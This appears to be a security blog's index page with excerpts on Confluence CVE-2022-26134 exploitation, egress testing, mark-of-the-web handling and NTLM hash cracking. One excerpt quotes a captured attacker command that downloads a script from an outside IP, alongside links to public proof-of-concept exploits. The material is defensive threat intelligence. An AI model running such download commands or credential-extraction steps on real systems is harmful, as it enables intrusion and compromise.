Guides
Have you ever wanted to run a quick test of egress ports from userland from a windows machine?
Well worry not, I didn’t even have to write anything, the nice people at Black Hills security have done it for us. However I did decide that there’s a few other things we might want to do, so I made a quick modification, now we have colours, randomisation and some sleeps.
Read more “Testing Risky Egress Ports”
Education
Threat actors are deploying a range of payloads to try and leverage vulnerable confluence servers around the globe. This just dropped into one of the pots:
HTTP Command Executes this:
curl http[:]//202.28.229.174/ap[.]sh?confcurlThis download the following (ap.sh)
$stealz = wget -Uri http[:]//202.28.229[.]174/ap[.]sh?confcurl -UseBasicParsing
$stealz.Content | Out-File ap.txt
Threat Intel
We are seeing active exploitation in the wild: MIRAI deployment, coinminer deployments etc.
THIS DOES SHOW IN THE ACCESS LOGS! The comment about “what isn’t in the logs” is about POST request BODY not showing in them, not that nothing is logged
XMRIG, KINSING, MIRAI etc. are being deployed by threat actors after exploiting this vulnerability.
This is a fast publish
POC is in the wild: https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
https://github.com/jbaines-r7/through_the_wire
keep checking vendor guidance and keep checking this for updates… use at own risk etc.
Workaround/Hotfixes have been published by Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://jira.atlassian.com/browse/CONFSERVER-79000
GreyNoise Tag is online: GreyNoise Trends
Also check this out for scanners: GreyNoise
Nice work https://twitter.com/_mattata and all the other people in the cyber community that are working on this!
IT MAY BE WISE TO ASSUME BREACH
The vulnerability appears to be in: xwork-1.0.3-atlassian-10.jar
Velocity discovers a zero-day in confluence 03/06/2022 (GMT)
Guides
A quick post becuase this is useful for security control testing:
If you want to enable MOTW (mark of the web) on a file you can run the following PowerShell cmdlet:
Set-Content -Path '.\safe3.rtf' -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'This will set the alterate data stream (ADS) Zone.Identifier value to ZoneID=3 (Internet Zone)
You can unblock this with
Read more “Adding a removing the mark of the web via PowerShell”
Defence
This is a fast publish!
Confirmed all Office (ISO Install/PRO and 365) when using the Rich Text Format (RTF) method.
Office 365 has some sort of patch against the .DOCX format.
Defence
This is a fast publish
Vmware just released patches for two new vulnerabilities in Workspace One, followed by guidance from CISA to patch by May 23rd or remove the devices from the network/internet!
“All Federal Civilian Executive Branch agencies must complete the following actions:
By 5:00 PM EDT on Monday, May 23, 2022:
Enumerate all instances of impacted VMware products [VMware Workspace ONE Access (Access), VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager] on agency networks.
Read more “CVE-2022-22972 & CVE-2022-22973”
Education
Volume 1
I am sitting here, and I need another cup of tea, but I thought I’d start to have a think about what common “CYBER GANGS” look like. This isn’t criminal or non-criminal. But you know there’s some commonality between both. I thought this was fun little thinking exercise to show the duality of life, what digital worlds look like but also to give a glimpse into the mysteryious (its not!) world of cyberz (including crime!)
Read more “The CYBER GANG Cookbook”
Threat Intel
This is an evolving post and will likely be updated over time. Online “community” or “criminal gangs” etc. can be fluin and dynamic, thinking of them in rigid structures and trying to compare them to “In Real Life (IRL)” organisationas directly doesn’t really work. They work generally in a collective fashion. No masters and no slaves etc.
I don’t really like to use the term “hacker” in this sense, perhaps hacktivist or criminal groups is the right fit, however, words aside there is the question: Who is KILLNET, are they a threat and who are they a threat to?
KILLNET was suposedly formed as a resonse to the IT ARMY of Ukraine (Ukraine Cybe Army) (formed late Feb) which is odd given the first post from KILLNET was on January the 23rd and IT ARMY of UKRAINE setup their telegram on Feb 26th.
Read more “KILLNET: Area they really a threat?”
Defence
It’s “only” essential but it can be bloody difficult!
mRr3b00t
Cyber Essentials is a minimum baseline standard for ensuring foundational cyber security considerations and controls are in place. It’s a good starting point, but by no means should it be “THE GOAL” and just because it has “Essentials” in its name, don’t think it’s easy to comply with. Whilst the standard isn’t outlandish with its requirements in the main, the reality between technical capabilities and being able to discover, audit and remediate security configurations in organisations is often nowhere near as simple as someone may tell you. The news here is that the standard has been extended to include some wider areas.
Read more “The Challenges of Cyber Essentials Audit and Compliance Activities”
Hacking
Ok imagine this, you have got access to a file server and behold you find an unsecured, unencrypted backup of a domain controller (this isn’t made up I find these in networks sometimes!) and you yoink the NTDS.dit (or maybe it’s just a workstation SAM/SYSTEM file), you extract the hashes but now what, you need to crack those bad boys!
Check out the MS docs on how NT or LM Hashes are computed(hashed)! – (thanks @ANeilan for spotting my mistake!)
[MS-SAMR]: Encrypting an NT or LM Hash | Microsoft Docs
Read more “How to Crack NTHASH (commonly referred to as NTLM) password hashes?”